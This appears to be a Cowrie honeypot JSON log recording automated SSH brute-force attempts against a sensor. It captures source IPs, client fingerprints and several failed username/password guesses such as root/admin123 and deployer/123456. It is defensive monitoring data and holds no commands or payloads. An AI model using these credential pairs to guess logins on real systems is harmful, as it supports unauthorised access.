{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:55.680931Z","src_ip":"91.92.42.133","session":"44f2eea75bb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":87.74280071258545,"message":"Connection lost after 87 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:59.505207Z","src_ip":"94.23.66.112","session":"343540de8dde","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":35330,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4247115e91d","protocol":"ssh","message":"New connection: 91.92.42.133:35330 (159.203.135.109:22) [session: b4247115e91d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:00.803078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:00.860308Z","src_ip":"91.92.42.133","session":"b4247115e91d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:00.928851Z","src_ip":"91.92.42.133","session":"b4247115e91d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"123456","message":"login attempt [deployer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:01.468533Z","src_ip":"91.92.42.133","session":"b4247115e91d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:02.604478Z","src_ip":"91.92.42.133","session":"b4247115e91d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.216.108.62","src_port":41196,"dst_ip":"159.203.135.109","dst_port":22,"session":"494c4830a2b0","protocol":"ssh","message":"New connection: 112.216.108.62:41196 (159.203.135.109:22) [session: 494c4830a2b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:07.483133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:07.487798Z","src_ip":"112.216.108.62","session":"494c4830a2b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:07.689823Z","src_ip":"112.216.108.62","session":"494c4830a2b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":48166,"dst_ip":"159.203.135.109","dst_port":22,"session":"a31a350dc739","protocol":"ssh","message":"New connection: 91.92.42.133:48166 (159.203.135.109:22) [session: a31a350dc739]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:08.040135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:08.167863Z","src_ip":"91.92.42.133","session":"a31a350dc739","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:08.174128Z","src_ip":"91.92.42.133","session":"a31a350dc739","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123!","message":"login attempt [dev/dev123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:08.535917Z","src_ip":"112.216.108.62","session":"494c4830a2b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"onkar","password":"onkar123","message":"login attempt [onkar/onkar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:09.669281Z","src_ip":"91.92.42.133","session":"a31a350dc739","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:09.740780Z","src_ip":"112.216.108.62","session":"494c4830a2b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:11.032106Z","src_ip":"91.92.42.133","session":"a31a350dc739","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":50864,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f7f7202bb05","protocol":"ssh","message":"New connection: 91.92.42.133:50864 (159.203.135.109:22) [session: 0f7f7202bb05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:16.137756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:16.195314Z","src_ip":"91.92.42.133","session":"0f7f7202bb05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:16.287907Z","src_ip":"91.92.42.133","session":"0f7f7202bb05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operator","password":"operator2026","message":"login attempt [operator/operator2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:16.907027Z","src_ip":"91.92.42.133","session":"0f7f7202bb05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:18.021651Z","src_ip":"91.92.42.133","session":"0f7f7202bb05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":50904,"dst_ip":"159.203.135.109","dst_port":22,"session":"9064390f0522","protocol":"ssh","message":"New connection: 91.92.42.133:50904 (159.203.135.109:22) [session: 9064390f0522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:23.645750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:23.667926Z","src_ip":"91.92.42.133","session":"9064390f0522","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:23.801790Z","src_ip":"91.92.42.133","session":"9064390f0522","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"12345","message":"login attempt [debian/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:24.432637Z","src_ip":"91.92.42.133","session":"9064390f0522","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:25.560580Z","src_ip":"91.92.42.133","session":"9064390f0522","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.140.193.156","src_port":33964,"dst_ip":"10.17.0.5","dst_port":22,"session":"79b841718446","protocol":"ssh","message":"New connection: 45.140.193.156:33964 (10.17.0.5:22) [session: 79b841718446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:30.837677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:30.842152Z","src_ip":"45.140.193.156","session":"79b841718446","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":38494,"dst_ip":"159.203.135.109","dst_port":22,"session":"c42118127cb2","protocol":"ssh","message":"New connection: 91.92.42.133:38494 (159.203.135.109:22) [session: c42118127cb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:30.934620Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:30.958199Z","src_ip":"45.140.193.156","session":"79b841718446","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:31.219839Z","src_ip":"91.92.42.133","session":"c42118127cb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:31.222975Z","src_ip":"91.92.42.133","session":"c42118127cb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hilda","password":"hilda","message":"login attempt [hilda/hilda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:31.453769Z","src_ip":"45.140.193.156","session":"79b841718446","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:32.059244Z","src_ip":"91.92.42.133","session":"c42118127cb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:32.569786Z","src_ip":"45.140.193.156","session":"79b841718446","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:33.432296Z","src_ip":"91.92.42.133","session":"c42118127cb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.30695676803589,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:36.715914Z","src_ip":"94.23.66.112","session":"94ea12d3e583","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":55878,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca2493abb816","protocol":"ssh","message":"New connection: 91.92.42.133:55878 (159.203.135.109:22) [session: ca2493abb816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:37.682692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:37.956313Z","src_ip":"91.92.42.133","session":"ca2493abb816","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:37.959233Z","src_ip":"91.92.42.133","session":"ca2493abb816","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:39.024322Z","src_ip":"91.92.42.133","session":"ca2493abb816","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:40.418864Z","src_ip":"91.92.42.133","session":"ca2493abb816","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":50472,"dst_ip":"159.203.135.109","dst_port":22,"session":"76ef2c16a22b","protocol":"ssh","message":"New connection: 91.92.42.133:50472 (159.203.135.109:22) [session: 76ef2c16a22b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:45.369931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:45.572693Z","src_ip":"91.92.42.133","session":"76ef2c16a22b","protocol":"ssh"}
